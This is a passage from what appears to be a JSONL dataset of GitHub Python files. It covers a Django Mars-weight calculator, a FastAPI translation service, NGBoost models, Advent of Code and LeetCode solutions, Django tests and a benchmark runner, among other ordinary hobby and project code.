is_pixel_extrenum(first_subimage, second_subimage, third_subimage, threshold=0.04):\n center_pixel_value = abs(second_subimage[1, 1])\n if center_pixel_value > threshold:\n return np.all(center_pixel_value >= first_subimage) \\\n and np.all(center_pixel_value >= second_subimage) \\\n and np.all(center_pixel_value >= third_subimage)\n return False\n\n def compute_keypoints_with_orientations(keypoint, octave_idx, gaussian_image, radius_factor=3, num_bins=36, peak_ratio=0.8, scale_factor=1.5):\n pass\n\n for octave_idx, dog_images_in_octave in enumerate(dog_images):\n for (first_image, second_image, third_image) \\\n in zip(dog_images_in_octave, dog_images_in_octave[1:], dog_images_in_octave[2:]):\n for i in range(image_border_width, first_image.shape[0] - image_border_width):\n for j in range(image_border_width, first_image.shape[1] - image_border_width):\n first_subimage = first_image[i - 1: i + 2, j - 1: j + 2]\n second_subimage = second_image[i - 1: i + 2, j - 1: j + 2]\n third_subimage = third_image[i - 1: i + 2, j - 1: j + 2]\n if is_pixel_extrenum(first_subimage, second_subimage, third_subimage):\n pass\n\n \n\n\n \n\n\n\n\n # plt.imshow(img)\n # plt.show()\n \n\n\nsift('box.png')","repo_name":"aarunsrinivas/computer-vision-filters","sub_path":"sift/sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4325701847","text":"from django.shortcuts import render, redirect\n\nfrom .forms import *\nfrom .models import *\n\ndef index(request):\n earth = 9.807\n marth = 3.711\n \n weight = WeightEarthForm()\n\n if request.method == 'POST':\n weight = WeightEarthForm(request.POST)\n if weight.is_valid():\n weight.save()\n return redirect('end')\n \n \n\n context = {'weight':weight}\n return render(request, 'burden/index.html', context)\n\ndef weightEnd(request):\n earth = 9.807\n marth = 3.711\n\n data = WeightEarth.objects.last()\n name = data.name\n weight = data.weight\n \n algorithm = (weight / earth) * marth\n \n context = {'data':data, 'algorithm':algorithm}\n \n return render(request, 'burden/end.html', context)\n","repo_name":"marcelo-nugatti/OurPlanet","sub_path":"apps/burden/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"8120355868","text":"# -*- coding: utf-8 -*-\n# -*- author: Jiangtao -*-\n\n\nimport os\nimport logging\n\nimport tornado.log\nimport tornado.ioloop\nimport tornado.web\nimport tornado.options\n\nfrom loghandler import log_request\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.write(\"Hello, world\")\n\n\nsettings = {\n \"cookie_secret\": \"md2html_server\",\n \"static_path\": os.path.join(os.path.dirname(__file__), 'static'),\n \"static_url_prefix\": os.path.dirname(__file__),\n # \"log_function\": log_request,\n}\n\nhandlers = [\n (r\"/\", MainHandler),\n]\nfrom route import handlers as ext_handlers\nhandlers.extend(ext_handlers)\n\n\ndef make_app():\n return tornado.web.Application(handlers, **settings)\n\n\nif __name__ == \"__main__\":\n\n tornado.options.parse_command_line()\n\n # from loghandler import self_log_request\n # self_log_request()\n\n logging.info(\"Server start...\")\n\n app = make_app()\n app.listen(8888)\n tornado.ioloop.IOLoop.current().start()","repo_name":"dydjiangtao/md2html","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26734601733","text":"from os import getcwd, walk\nimport random\nimport os, string, sys\n\ndst_val = 17000\n\nimglist=[]\nnewlist = open(\"l0.list\",\"w\")\n\nfor (dirpath,dirname,f) in walk(getcwd()):\n\tfor name in f:\n\t\tif name.endswith('.jpg'):\n\t\t\timglist.append(name)\n\t\t\tnewlist.write(\"{0}/{1}\\n\".format(getcwd(),name))\t\t\t\n\nprint(\"Wrote {0} images\".format(len(imglist)))\n\nsize = len(imglist)\nto_add = dst_val - size\n\nfor cnt in range(0,to_add):\n\timg = random.choice(imglist)\n\tnewlist.write(\"{0}/{1}\\n\".format(getcwd(),img))\n\timglist.remove(img)\n\t\n\tprint(len(imglist))\n\n\tif len(imglist) == 0 :\n\t\tprint(\"RELOAD\")\n\t\tfor (dirpath,dirname,f) in walk(getcwd()):\n\t\t\tfor name in f:\n\t\t\t\tif name.endswith('.jpg'):\n\t\t\t\t\timglist.append(name)\n\t\t\t\t\t\nnewlist.close()\n\n","repo_name":"cappInternpark/boxdrawing","sub_path":"even_out.py","file_name":"even_out.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"34274434942","text":"from rest_framework import serializers, viewsets\nfrom . import models\nfrom rest_framework.decorators import (api_view, permission_classes, )\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\n\nclass OrderItemSerializer(serializers.HyperlinkedModelSerializer):\n item = serializers.StringRelatedField()\n\n class Meta:\n model = models.OrderItem\n fields = ('id', 'item', 'status')\n read_only_fields = ('id', 'item', 'status')\n\n\nclass PaidOrderItemsViewSet(viewsets.ModelViewSet):\n queryset = models.OrderItem.objects.filter(\n order__status=models.Order.PAID).order_by('-date_ordered')\n # print('queryset:', queryset)\n\n serializer_class = OrderItemSerializer\n filter_fields = ('item', 'status')\n\n\nclass OrderSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = models.Order\n fields = ('name',\n 'shipping_address1',\n 'shipping_address2',\n 'shipping_zip_code',\n 'shipping_city',\n 'shipping_country',\n 'start_date',\n 'order_date')\n\n\nclass PaidOrderViewSet(viewsets.ModelViewSet):\n queryset = models.Order.objects.filter(\n status=models.Order.PAID).order_by('-order_date')\n serializer_class = OrderSerializer\n\n\n# RETRIEVING ORDERS\n\n@api_view()\n@permission_classes((IsAuthenticated,))\ndef my_orders(request):\n user = request.user\n # orders = models.Order.objects.filter(user=user).order_by(\"-order_date\")\n orders = models.OrderItem.objects.filter(user=user).order_by(\"-date_added\")\n print('orders from test:', orders)\n data = []\n for order in orders:\n # for order in orders.items.all():\n data.append(\n {\n \"id\": order.id,\n 'image': order.mobile_thumb_url,\n 'summary': order.summary,\n 'price': order.get_final_price(),\n\n }\n )\n # print(data)\n return Response(data)\n","repo_name":"Me2U-Afrika/Me2U","sub_path":"me2ushop/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8066378193","text":"from openerp import api, fields, models, _\nfrom openerp.exceptions import except_orm, RedirectWarning, Warning\nfrom lxml import etree\n\nclass invoice_merge(models.TransientModel):\n \"\"\"\n Merge invoices\n \"\"\"\n _name = 'invoice.merge'\n _description = 'Use this wizard to merge draft invoices from the same partner'\n\n invoices = fields.Many2many('account.invoice', 'account_invoice_merge_rel', 'merge_id', 'invoice_id', string='Invoices')\n \n @api.model\n def fields_view_get(self, view_id=None, view_type='form', toolbar=False, submenu=False):\n res = super(invoice_merge, self).fields_view_get(view_id=view_id, view_type=view_type, toolbar=toolbar, submenu=False)\n if self._context is not None and self._context.get('active_id', False): # testing\n inv_obj = self.env['account.invoice']\n parent = inv_obj.browse(self._context['active_id'])\n \n doc = etree.XML(res['arch'])\n nodes = doc.xpath(\"//field[@name='invoices']\")\n for node in nodes:\n node.set('domain', '[\"&\",(\"partner_id\", \"=\", ' + str(parent.partner_id.id) + '),(\"state\", \"=\",\"draft\")]')\n res['arch'] = etree.tostring(doc)\n self.with_context(partner=parent.partner_id.id)\n return res\n \n @api.model\n def default_get(self, fields):\n res = super(invoice_merge, self).default_get(fields)\n if self._context and 'active_ids' in self._context and self._context['active_ids']:\n res.update({'invoices': self._context['active_ids']})\n return res\n \n @api.multi\n def merge_invoices(self):\n self.invoices.merge_invoice(self.invoices)\n return {'type': 'ir.actions.act_window_close'}\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","repo_name":"ecosoft-odoo/rjc_v8","sub_path":"account_invoice_merge/wizard/invoice_merge.py","file_name":"invoice_merge.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34968008397","text":"import os\n\nfrom django.contrib.auth import get_user_model\nfrom django.core import mail\nfrom django.shortcuts import get_object_or_404\nfrom django.test import Client, TestCase\nfrom django.urls import reverse\n\nfrom exchange_messages.models import Discussion\nfrom seeds.models import Seed\nfrom trocgraines_config.settings.common import BASE_DIR\n\n\nclass TestExchangeMessagesViews(TestCase):\n def setUp(self):\n self.client = Client()\n self.User = get_user_model()\n self.test_seed_owner = self.User.objects.create_user(\n username='test_name_owner',\n email='test_mail_owner@mail.com',\n password='test_password',\n )\n self.test_user = self.User.objects.create_user(\n username='test_name',\n email='test_mail@mail.com',\n password='test_password',\n )\n self.log_form_owner = {\n 'username': 'test_name_owner',\n 'password': 'test_password',\n }\n self.log_form_user = {\n 'username': 'test_name',\n 'password': 'test_password',\n }\n self.image_path = os.path.join(\n BASE_DIR, \"static/assets/img/image_test.png\"\n )\n self.test_seed_data = {\n 'name': 'test seed name',\n 'description': 'test seed description',\n 'photo': 'img_data',\n 'available': True,\n }\n\n def create_a_seed(self):\n with open(self.image_path, 'rb') as img_data:\n self.test_seed_data['photo'] = img_data\n self.client.post(reverse('seeds:add_seed'), self.test_seed_data)\n new_seed = get_object_or_404(Seed, name=self.test_seed_data['name'])\n return new_seed\n\n def test_user_can_generate_a_new_message(self):\n self.client.login(**self.log_form_owner)\n seed_of_owner = self.create_a_seed()\n self.client.logout()\n self.client.login(**self.log_form_user)\n response = self.client.get(\n reverse(\n 'exchange_messages:new_message',\n args=[seed_of_owner.id, self.test_seed_owner.id],\n )\n )\n self.assertTrue(\n 'test_name_owner' in str(response.content)\n and 'test seed name' in str(response.content)\n )\n\n def test_user_can_send_a_new_message(self):\n self.client.login(**self.log_form_owner)\n seed_of_owner = self.create_a_seed()\n self.client.logout()\n self.client.login(**self.log_form_user)\n self.test_seed_data['name'] = 'test seed name2'\n self.create_a_seed()\n self.test_seed_data['name'] = 'test seed name3'\n self.test_seed_data['available'] = False\n self.create_a_seed()\n number_of_discussion_before = Discussion.objects.count()\n self.client.post(\n reverse(\n 'exchange_messages:new_message',\n args=[seed_of_owner.id, self.test_seed_owner.id],\n ),\n {'message': 'exchange message'},\n )\n number_of_discussion_after = Discussion.objects.count()\n mail_subject = mail.outbox[0].subject\n self.assertTrue(\n number_of_discussion_before != number_of_discussion_after\n and self.test_seed_owner.username in mail_subject\n and self.test_user.username in mail_subject\n )\n\n def test_user_can_delette_a_messages(self):\n self.client.login(**self.log_form_owner)\n seed_of_owner = self.create_a_seed()\n self.client.logout()\n self.client.login(**self.log_form_user)\n self.client.post(\n reverse(\n 'exchange_messages:new_message',\n args=[seed_of_owner.id, self.test_seed_owner.id],\n ),\n {'message': 'a new exchange message'},\n )\n number_of_discussion_before = Discussion.objects.count()\n discussion = get_object_or_404(Discussion, sender=self.test_user.id)\n self.client.post(\n reverse('exchange_messages:my_messages'),\n {'delete_discussion': discussion.id},\n )\n number_of_discussion_after = Discussion.objects.count()\n self.assertTrue(\n number_of_discussion_before != number_of_discussion_after\n )\n \n","repo_name":"manuo1/P13-TrocGraines","sub_path":"exchange_messages/tests/integration/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32988146954","text":"from typing import List\nfrom ngboost import NGBRegressor\nfrom sklearn.tree import DecisionTreeRegressor\nimport pandas as pd\nimport numpy as np\nfrom sklearn.utils import check_array\n\n\n# from sklearn.datasets import fetch_california_housing\n# from sklearn.model_selection import train_test_split\n# from sklearn.metrics import mean_squared_error\n# from sklearn.model_selection import cross_val_predict\n\n\nclass RONGBA(NGBRegressor):\n \"\"\"Subclass of NGBRegressor that uses predefined parameter set (RONGBA).\n\n Returns:\n RONGBA object that can be fit.\n \"\"\"\n\n def __init__(self) -> None:\n base = DecisionTreeRegressor(\n criterion=\"friedman_mse\",\n min_samples_split=2,\n min_samples_leaf=1,\n min_weight_fraction_leaf=0.0,\n max_leaf_nodes=75,\n splitter=\"best\",\n random_state=42,\n max_depth=10,\n )\n super().__init__(\n Base=base,\n random_state=42,\n learning_rate=0.01,\n n_estimators=1000,\n verbose_eval=100,\n )\n\n def pred_dist_compat(self, X: np.array, max_iter: int = None) -> np.array:\n \"\"\"Utility function that provides sklearn compatible predictions for use in\n cross_val_predict().\n\n Args:\n X (np.array): Input data to predict on.\n max_iter (int, optional): Iteration flag for staged prediction. Defaults to None.\n\n Returns:\n np.array: (N, 2) shaped array of mean, sd predictions\n \"\"\"\n X = check_array(X, accept_sparse=True)\n\n if max_iter is not None:\n dist = self.staged_pred_dist(X, max_iter=max_iter)[-1]\n else:\n params = np.asarray(self.pred_param(X, max_iter))\n dist = self.Dist(params.T)\n\n return np.vstack((dist.params[\"loc\"], dist.params[\"scale\"])).T\n\n def pred_frame(\n self,\n X: np.array,\n with_X: bool = False,\n y: np.array = None,\n features: List = None,\n ) -> pd.DataFrame:\n \"\"\"Utility prediction function that returns a dataframe of predictions (mean and sd) that includes\n optional X and y values.\n\n Args:\n X (np.array): Input data to predict on.\n with_X (Boolean, optional): Inlcude predictions and X in dataframe result. Defaults to False.\n y (np.array, optional): Y value to include in dataframe result. Defaults to None.\n features (List, optional): List of column names for X. Defaults to None.\n\n Returns:\n pd.DataFrame: Dataframe with predictions and corresponding X and/or y values.\n \"\"\"\n prediction_dict = self.pred_dist(X)\n\n if with_X:\n prediction_frame = pd.DataFrame(X, columns=features)\n prediction_frame[\"mean\"] = prediction_dict.loc[0:]\n prediction_frame[\"sd\"] = prediction_dict.scale[0:]\n\n else:\n prediction_frame = pd.DataFrame({\"mean\": prediction_dict.loc[0:], \"sd\": prediction_dict.scale[0:]})\n if y is not None:\n prediction_frame[\"actual\"] = y\n\n return prediction_frame\n\n\nclass GKR2D:\n \"\"\"Implementation of Gaussian Kernel Regression.\n\n Returns:\n GKR object with associated data that be used to calculate and predict.\n \"\"\"\n\n def __init__(self, x: np.array, y: np.array, b: int):\n self.x = np.array(x)\n self.y = np.array(y)\n self.b = b\n\n \"\"\"Implement the Gaussian Kernel\"\"\"\n\n def gaussian_kernel(self, z):\n return (1 / np.sqrt(2 * np.pi)) * np.exp(-0.5 * z**2)\n\n \"\"\"Calculate weights and return prediction\"\"\"\n\n def predict(self, X):\n kernels = np.array([self.gaussian_kernel((np.linalg.norm(xi - X)) / self.b) for xi in self.x])\n weights = np.array([len(self.x) * (kernel / np.sum(kernels)) for kernel in kernels])\n return np.dot(weights.T, self.y) / len(self.x)\n\n\nclass KDE2D:\n def __init__(self, x: np.array, y: np.array, bw: int, x_grid: np.array, y_grid: np.array):\n self.x = x\n self.y = y\n self.bw = bw\n self.x_grid = x_grid\n self.y_grid = y_grid\n xx, yy = np.meshgrid(x_grid, y_grid)\n self.xy_grid_locations = np.vstack([xx.ravel(), yy.ravel()]).T\n self.xy_event_locations = np.vstack([x, y]).T\n\n def fit(self):\n kde = KernelDensity(bandwidth=self.bw)\n self.kde = kde.fit(self.xy_event_locations)\n\n def predict_grid(self):\n dens = np.exp(self.kde.score_samples(self.xy_grid_locations))\n df = pd.DataFrame({\"dens\": dens})\n df[[\"x\", \"y\"]] = self.xy_grid_locations\n return df\n","repo_name":"anpatton/datascitools","sub_path":"src/datascitools/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4634,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"73315322133","text":"from fastapi import FastAPI\r\nfrom fastapi.responses import JSONResponse\r\nfrom pydantic import BaseModel\r\nfrom typing import List, Optional, Union\r\n\r\nfrom dataclasses import dataclass\r\nfrom fastapi import FastAPI, Form, Depends, Query, File, UploadFile, Response\r\nfrom fastapi.responses import HTMLResponse\r\nfrom fastapi import Request\r\nfrom fastapi.templating import Jinja2Templates\r\nfrom fastapi.encoders import jsonable_encoder\r\nfrom fastapi.responses import JSONResponse\r\n\r\nfrom fastapi.middleware.cors import CORSMiddleware\r\n\r\n# Import files\r\nfrom Gtrans import lang,translation, GetLanguages\r\n\r\napp = FastAPI()\r\n\r\napp.add_middleware(\r\n CORSMiddleware,\r\n allow_origins=['*'],\r\n allow_methods=[\"*\"],\r\n allow_headers=[\"*\"],\r\n)\r\n\r\n\r\nclass SourceEng(BaseModel):\r\n sourceLang: Optional[str] = 'en'\r\n destLang: str\r\n Sentence: str\r\n\r\n# {\r\n# \"destLang\": \"sagar\",\r\n# \"Sentence\": \"Kadam\"\r\n# }\r\n\r\nclass Translate(BaseModel):\r\n sourceLang: str\r\n destLang: str\r\n Sentence: str\r\n\r\n# {\r\n# \"sourceLang\":\"en\",\r\n# \"destLang\": \"sagar\",\r\n# \"Sentence\": \"Kadam\"\r\n# }\r\n\r\n@app.get(\"/\")\r\n@app.get(\"/root\")\r\ndef read_root():\r\n return {\"Key\": \"Hello World\",\r\n \"Get languages\": \"http://127.0.0.1:8000/languages\",\r\n \"Home Page----\": \"http://127.0.0.1:8000/translate-Home\"\r\n }\r\n\r\n\r\nlaShort = [(i) for i,j in lang.items()]\r\nlaFull = [(j) for i,j in lang.items()]\r\n\r\n@app.get(\"/translate-Home/\")\r\nasync def uploadImage(request: Request, ):\r\n templates = Jinja2Templates(directory=\"templates\")\r\n return templates.TemplateResponse(\"index.html\", {\"request\": request, \"dest\":laFull})\r\n\r\n\r\n@app.get(\"/languages\",)\r\ndef get_languages():\r\n result =GetLanguages()\r\n return JSONResponse(status_code=200, content={\"Data\": result})\r\n\r\n@app.post(\"/Eng-translate/\")\r\nasync def translate1(item: SourceEng):\r\n result = translation(item)\r\n return JSONResponse(status_code=200, content={\"Data\": result})\r\n\r\n@app.post(\"/translate/\")\r\nasync def translate2(item: Translate):\r\n result = translation(item)\r\n return JSONResponse(status_code=200, content={\"Data\": result})\r\n\r\n\r\n@dataclass\r\nclass SimpleModel:\r\n sourceLang: Optional[str] = 'en'\r\n destLang: str = Form(...)\r\n Sentence: str = Form(...)\r\n\r\n\r\n@app.post(\"/Eng-translator/\")\r\nasync def translate11(item: SimpleModel = Depends()):\r\n # print(item)\r\n result = translation(item)\r\n return JSONResponse(status_code=200, content={\"Data\": result})\r\n\r\n@dataclass\r\nclass SimpleModel2:\r\n sourceLang: str = Form(...)\r\n destLang: str = Form(...)\r\n Sentence: str = Form(...)\r\n\r\n\r\n@app.post(\"/translator/\")\r\nasync def translate12(item: SimpleModel = Depends()):\r\n # print(item)\r\n result = translation(item)\r\n return JSONResponse(status_code=200, content={\"Data\": result})\r\n\r\n# @app.get(\"/items/{item_id}\")\r\n# def read_item(item_id: int, q: Union[str, None] = None):\r\n# return {\"item_id\": item_id, \"q\": q}\r\n\r\n# @app.get(\"/foo\",)\r\n# def read_item():\r\n# item_id = 'foo'\r\n# if item_id == \"foo\":\r\n# return {\"id\": \"foo\", \"value\": \"there goes my hero\", 'tags':[\"sjhsj\"]}\r\n# else:\r\n# return JSONResponse(status_code=201, content={\"message\": \"Item not found.........\"})\r\n\r\n","repo_name":"anajikadam/GoogleTranslate","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70339591254","text":"from typing import List\n\n\nclass Solution:\n def robDp(self, nums: List[int]) -> int:\n \"\"\"\n time: n\n space: n\n \"\"\"\n n = len(nums)\n\n if n == 0:\n return 0\n\n dp = [0] * (n + 1)\n dp[n - 1], dp[n] = nums[n - 1], 0\n\n for i in range(n - 2, -1, -1):\n # skip robbing current vs rob current and next next house\n dp[i] = max(dp[i + 1], nums[i] + dp[i + 2])\n\n return dp[0]\n\n\n def robDpConstantSpace(self, nums: List[int]) -> int:\n n = len(nums)\n if n == 0:\n return 0\n\n next_next = 0\n next = nums[n - 1]\n\n for i in range(n - 2, -1, -1):\n next, next_next = max(nums[i] + next_next, next), next\n\n return next\n\nif __name__ == '__main__':\n s = Solution()\n\n s.robDp([1,2,3,1]) == 4\n s.robDp([2,7,9,3,1]) == 12\n\n s.robDpConstantSpace([1,2,3,1]) == 4\n s.robDpConstantSpace([2,7,9,3,1]) == 12","repo_name":"bchiud/leetPy","sub_path":"house_robber.py","file_name":"house_robber.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71786908053","text":"from aoc_utilities import get_instructions\nfrom pathlib import Path\n\nOFFSETS = ((0, 0, 1), (0, 0, -1), (0, 1, 0),\n (0, -1, 0), (1, 0, 0), (-1, 0 ,0))\n\n\ndef get_neighbors(x, y, z):\n for dx, dy, dz in OFFSETS:\n yield (x + dx, y + dy, z + dz)\n\n\n# I never would have thought of this, pulled from solutions again\n# you can use a version of DFS to find all the exterior points including the\n# hollows\ndef is_exposed(x, y, z, drops, x_range, y_range, z_range, exterior):\n # original data points are never outside\n if (x, y, z) in drops:\n return False\n\n checked = set()\n to_check = [(x, y, z)]\n\n while to_check:\n x, y, z = to_check.pop()\n\n if (x, y, z) in checked:\n continue\n checked.add((x, y, z))\n\n # if we find something we already know is outside\n # then add everything to exterior but make sure we don't\n # add any data points in (this is like the fill tool in images)\n if (x, y, z) in exterior:\n exterior.update(checked - drops)\n return True\n # if we are checking a point outside the big cube then we know\n # we are outside, so everything is exterior like above\n if (x not in x_range) or (y not in y_range) or (z not in z_range):\n exterior.update(checked - drops)\n return True\n # if we don't know whats going on yet, add all the neighbors for checking\n if (x, y, z) not in drops:\n for n in get_neighbors(x, y, z):\n to_check.append(n)\n\n # if we checked everything and didn't get outside then original point\n # wasn't on the outside\n return False\n\n\ndef get_answer(data, part2=False):\n drops = {tuple(map(int, row.split(','))) for row in data}\n\n min_x = min(x[0] for x in drops)\n max_x = max(x[0] for x in drops)\n x_range = set(range(min_x, max_x + 1))\n min_y = min(x[1] for x in drops)\n max_y = max(x[1] for x in drops)\n y_range = set(range(min_y, max_y + 1))\n min_z = min(x[2] for x in drops)\n max_z = max(x[2] for x in drops)\n z_range = set(range(min_z, max_z + 1))\n\n exterior = set()\n\n exposed = 0\n exposed_2 = 0\n for (x, y, z) in drops:\n for n in get_neighbors(x, y, z):\n if n not in drops:\n exposed += 1\n if is_exposed(*n, drops, x_range, y_range, z_range, exterior):\n exposed_2 += 1\n\n return exposed, exposed_2\n\n\nif __name__ == '__main__':\n p = Path(__file__).absolute()\n year = p.parent.stem\n day = int(p.stem.split('y')[1])\n inputs = get_instructions(year, day)\n# inputs = '''2,2,2\n# 1,2,2\n# 3,2,2\n# 2,1,2\n# 2,3,2\n# 2,2,1\n# 2,2,3\n# 2,2,4\n# 2,2,6\n# 1,2,5\n# 3,2,5\n# 2,1,5\n# 2,3,5'''.split('\\n')\n print(get_answer(inputs, part2=False))\n # print(get_answer(inputs, part2=True))\n","repo_name":"lemurey/advent_of_code","sub_path":"2022/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27409353196","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nimport correlatefitter as cf\nimport ODR as cf1\nstart=1\nend=5\ndef func(x,a,b,c):\n\treturn a*x**2+b*x+c\n\nonemass = np.load('onemass_4b0_%d-%d.npy'%(start,end))\ntwomass = np.load('twomass_4b0_%d-%d.npy'%(start,end))\n# print(onemass)\nl = onemass.shape[1]\nw = onemass.shape[0]\n\nm = np.mean(onemass,axis=1)\nmstd = np.std(onemass,axis=1)/np.sqrt(l-1)\nbe = 2*onemass - twomass\nbindingE = np.mean(be,axis=1)\nbstd = np.std(be,axis=1)/np.sqrt(l-1)\n\nresamplemean = np.zeros((w,l))\nresamplemass = np.zeros((w,l))\nfor i in range(w):\n\tresamplemean[i,:] = cf.jackkniferesamplemean(be[i,:])\n\tresamplemass[i,:] = cf.jackkniferesamplemean(onemass[i,:])\nfitstart = 9\nfitend = 13\npart = resamplemean[fitstart:fitend,:]\nmpart = resamplemass[fitstart:fitend,:]\nmmcov=np.cov(mpart,bias=True)*(l-1)\nmcov = np.cov(part,bias=True)*(l-1)\n# print(mcov)\n# print(mcov.shape)\n\n\n# fittedpara,allchisq = cf.fit(func,part,mcov,l,fitstart,fitend,3,[1,1,1],m[fitstart:fitend])\nfittedpara = np.zeros((3,l))\nallchisq = np.zeros(l)\nfor i in range(l):\n\tfitter = cf1.Fitter()\n\tfitter.Model(func)\n\tfitter.Beta0([1,1,1])\n\tfitter.Data(m[fitstart:fitend],part[:,i],covx=mmcov,covy=mcov)\n\tfitter.Run()\n\tfittedpara[:,i] = fitter.out.x[0:3]\n\tallchisq[i] = fitter.chi2\n# print(fittedpara)\n\nfinalpara = np.mean(fittedpara,axis=1)\nprint(allchisq)\nx1 = np.arange(0,0.2,0.01)\ny1 = func(x1,finalpara[0],finalpara[1],finalpara[2])\n\nfig = plt.figure()\nplt.errorbar(m,bindingE,xerr=mstd,yerr=bstd,marker=\"*\",capsize=0.5)\nplt.plot(x1,y1,label='fitted curve')\nplt.grid()\nplt.xlabel('Bare Mass')\nplt.ylabel('Binding Energy')\nplt.show()","repo_name":"Hogwarts23/Lattice-Quantum-Gravity-2","sub_path":"mass/fitE.py","file_name":"fitE.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71585425175","text":"#!/usr/bin/env python3\n\n\"\"\"Run me from the root repo directory\"\"\"\n\nimport csv\nfrom datetime import datetime\nimport json\nimport os\nfrom pprint import pprint\nimport re\nfrom subprocess import check_output\nimport sys\nfrom typing import List, Mapping\n\nfrom tqdm import tqdm\n\n\nBENCHMARKS_DIR = \"./benchmarks\"\nBIN_DIR = \"./bin\"\n\n\ndef run_benchmark_once(wc_bin: str, directory: str) -> int:\n \"\"\"\n Runs a `wc_bin` program on a given `directory`, returning the running time\n in milliseconds.\n \"\"\"\n result = check_output([os.path.join(BIN_DIR, wc_bin), directory])\n time_ms = result.decode().split('\\n')[-2]\n parsed = re.match(r'^Took\\s+(\\d+)ms$', time_ms)[1]\n return int(parsed)\n\n\ndef run_benchmark(wc_bin: str, directory: str) -> int:\n \"\"\"\n Runs a `wc_bin` program repeatedly on a given `directory`, returning the\n median running time in milliseconds.\n \"\"\"\n all_runs = sorted([run_benchmark_once(wc_bin, directory) for _ in range(5)])\n return all_runs[len(all_runs) // 2]\n\n\ndef run_benchmarks(directory: str) -> Mapping[str, int]:\n \"\"\"\n Runs all the wc programs on the given benchmark (`directory`), returning a\n mapping of program names to their running time, in milliseconds.\n \"\"\"\n return {\n wc: run_benchmark(wc, directory)\n for wc in os.listdir(BIN_DIR)\n if wc.startswith('wc')\n }\n\ndef run_all_benchmarks() -> List[Mapping[str, int]]:\n return [\n {\"benchmark\": directory, **run_benchmarks(os.path.join(BENCHMARKS_DIR, directory))}\n for directory in tqdm(os.listdir(BENCHMARKS_DIR))\n if os.path.isdir(os.path.join(BENCHMARKS_DIR, directory))\n ]\n\n\ndef main():\n results = run_all_benchmarks()\n results_headers = results[0].keys()\n results_filename = \"benchmark_results_{}.csv\".format(datetime.now())\n with open(results_filename, \"w\") as f:\n writer = csv.DictWriter(f, results_headers)\n writer.writeheader()\n writer.writerows(results)\n print(\"Done! Wrote results to {}\".format(results_filename))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dan-f/concurrent-wc","sub_path":"scripts/run_benchmarks.py","file_name":"run_benchmarks.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"16737275772","text":"#!/#!/usr/bin/env python\n# coding=utf-8\n\n# draw series graph\n\nimport datetime\nimport sys\nimport csv\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport pandas as pd\n\n\ndef get_dates(filename):\n days = np.loadtxt(filename,\n unpack=True, \n converters={0: mdates.strpdate2num('%Y%m%d')})\n # print days[:5]\n # print type(days)\n return days\n\n# matplotlib.style.use('ggplot')\n\ndata = np.genfromtxt(sys.argv[1], delimiter=\",\")\ndates = get_dates(sys.argv[2])\nkey = 2\nprint(len(data[key]),len(dates))\nplt.plot_date(dates,data[key],'-')\n\n# get bursts\nbursts = csv.reader(open(sys.argv[3],\"r\"), delimiter=\";\")\niii = 0\nfor l in bursts:\n if iii > key:\n break\n if iii != key:\n iii += 1\n continue\n for i in l:\n i = eval(i)\n plt.plot_date(dates[int(i[2])], float(i[3]), \"or\")\n plt.plot_date(dates[int(i[1])], data[key][int(i[1])], \"og\")\n plt.plot_date(dates[int(i[0])], data[key][int(i[0])], \"og\")\n iii += 1\n\nplt.show()\n","repo_name":"RianaChen/burst_prediction","sub_path":"draw_serires.py","file_name":"draw_serires.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39124042259","text":"from flask import Flask, request, render_template_string, render_template\r\nimport datetime as d\r\nfrom datetime import datetime\r\nfrom datetime import timedelta\r\nimport pandas as pd\r\napp = Flask(__name__)\r\n@app.route('/')\r\ndef index1():\r\n return render_template('index.html')\r\n\r\ndef fun(a,b,c):\r\n l_high=[]\r\n l_low=[]\r\n Stock=a[0]\r\n Start_date=b[0]\r\n end_date=c[0]\r\n df = pd.read_csv(f\"C:/Users/RITIK AGRAWAL/Desktop/New 